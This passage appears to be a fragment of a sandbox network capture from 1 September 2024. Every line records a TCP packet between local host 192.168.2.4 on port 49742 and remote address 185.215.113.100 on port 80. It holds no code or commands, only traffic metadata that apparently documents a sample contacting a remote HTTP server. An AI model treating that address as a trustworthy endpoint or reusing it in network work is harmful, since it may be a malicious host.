Sep 1, 2024 05:09:28.555582047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555695057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555704117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555712938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555723906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555732012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555732965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555744886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555756092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555768013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555788994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555862904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555872917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555881977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555891037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555896997 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555905104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555907965 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555912971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555921078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555939913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555954933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556018114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556026936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556037903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556046963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556052923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556058884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556058884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556067944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556086063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556123018 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556132078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556144953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556160927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556170940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556190014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556200027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556225061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556265116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556276083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556284904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556296110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556310892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556312084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556338072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556348085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556399107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556408882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556423903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556433916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556456089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556469917 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556536913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556546926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556556940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556566954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556576014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556586981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556586981 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556605101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556632996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556698084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556709051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556718111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556727886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556734085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556737900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556747913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556756973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556766987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556768894 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556777000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556796074 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556807995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556910038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556921005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.556950092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.556972980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557023048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557033062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557043076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557051897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557061911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557063103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557071924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557080984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557087898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557090998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557106972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557128906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557142973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557189941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557204962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557215929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557223082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557238102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557266951 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557277918 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557305098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557315111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557403088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557413101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557424068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557425976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557451010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557463884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557476997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557492018 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557508945 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557523966 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557538986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557576895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557588100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557596922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557650089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557696104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557706118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557715893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557727098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557735920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557749987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557768106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557780027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557838917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557849884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557859898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557868958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557879925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557903051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557925940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.557933092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.557938099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558058977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558217049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558263063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558271885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558310032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558320045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558346987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558357000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558366060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558376074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558389902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558415890 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558485985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558501005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558511019 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558521032 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558526039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558557034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558638096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558649063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558657885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558667898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558677912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558686972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558695078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558697939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558708906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558710098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558726072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558748960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558784008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558794975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558849096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558860064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558870077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558880091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558887959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558890104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.558917999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.558928967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642096996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642116070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642132044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642142057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642152071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642153978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642164946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642175913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642177105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642210007 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642236948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642247915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642303944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642312050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642321110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642330885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642332077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642340899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642348051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642349958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.642362118 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642379999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.642401934 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705255985 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705302954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705326080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705334902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705343962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705353975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705363035 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705390930 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705414057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705424070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705426931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705432892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705441952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705476046 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705497980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705537081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705547094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705600977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705609083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705646992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705662012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705668926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705677986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705687046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705702066 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705720901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705725908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705729961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705739021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705777884 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705817938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705826998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705836058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705846071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705854893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705864906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705888987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705889940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.705898046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.705995083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706003904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706012964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706022024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706031084 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706034899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706051111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706069946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706077099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706085920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706094980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706123114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706131935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706134081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706141949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706150055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706191063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706227064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706234932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706243992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706253052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706265926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706274986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706305027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706330061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706340075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706367016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706367970 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706376076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706381083 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706386089 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706403017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706408024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706409931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706422091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706437111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706454992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706454992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706499100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706506968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706518888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706547976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706571102 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706585884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706595898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706604004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706628084 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706651926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706748009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706757069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706767082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706804991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706866980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706876993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706886053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706895113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706899881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706911087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706922054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706938982 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.706945896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.706955910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707021952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707032919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707062006 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707084894 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707087994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707106113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707115889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707125902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707160950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707674026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707720995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707743883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707751989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707767963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707779884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707798004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707809925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707823992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707827091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707833052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707842112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707871914 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707892895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.707973003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707982063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.707990885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708000898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708009958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708019972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708020926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708031893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708055973 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.708111048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708118916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708129883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.708141088 CEST	80	49742	185.215.113.100	192.168.2.4
